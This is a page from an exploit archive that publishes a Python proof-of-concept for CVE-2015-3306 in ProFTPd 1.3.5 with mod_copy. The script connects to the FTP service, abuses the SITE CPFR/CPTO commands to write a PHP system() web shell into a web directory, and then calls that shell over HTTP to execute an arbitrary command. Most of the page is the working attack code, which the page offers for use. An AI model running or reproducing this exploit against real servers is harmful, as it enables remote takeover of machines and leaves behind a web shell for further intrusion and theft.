Home / exploits

PDF

ProFTPd 1.3.5 Remote Command Execution

Posted on 22 April 2015

# Title: ProFTPd 1.3.5 Remote Command Execution
# Date : 20/04/2015
# Author: R-73eN
# Software: ProFTPd 1.3.5 with mod_copy
# Tested : Kali Linux 1.06
# CVE : 2015-3306
# Greetz to Vadim Melihow for all the hard work .
import socket
import sys
import requests
#Banner
banner = ""
banner += " ___ __ ____ _ _ 
"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ /  | | 
"
banner +=" | || '_ | |_ / _ | | _ / _  '_  / _  | | 
"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ 
"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|

"
print banner
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if(len(sys.argv) < 4):
 print '
 Usage : exploit.py server directory cmd'
else:
 server = sys.argv[1] #Vulnerable Server
 directory = sys.argv[2] # Path accessible from web .....
 cmd = sys.argv[3] #PHP payload to be executed
 evil = '<?php system("' + cmd + '") ?>'
 s.connect((server, 21))
 s.recv(1024)
 print '[ + ] Connected to server [ + ] 
'
 s.send('site cpfr /etc/passwd')
 s.recv(1024)
 s.send('site cpto ' + evil)
 s.recv(1024)
 s.send('site cpfr /proc/self/fd/3')
 s.recv(1024)
 s.send('site cpto ' + directory + 'infogen.php')
 s.recv(1024)
 s.close()
 print '[ + ] Payload sended [ + ]
'
 print '[ + ] Executing Payload [ + ]
'
 r = requests.get('http://' + server + '/infogen.php') #Executing PHP payload through HTTP
 if (r.status_code == 200):
 print '[ * ] Payload Executed Succesfully [ * ]'
 else:
 print ' [ - ] Error : ' + str(r.status_code) + ' [ - ]'

print '
 http://infogen.al/'

 

TOP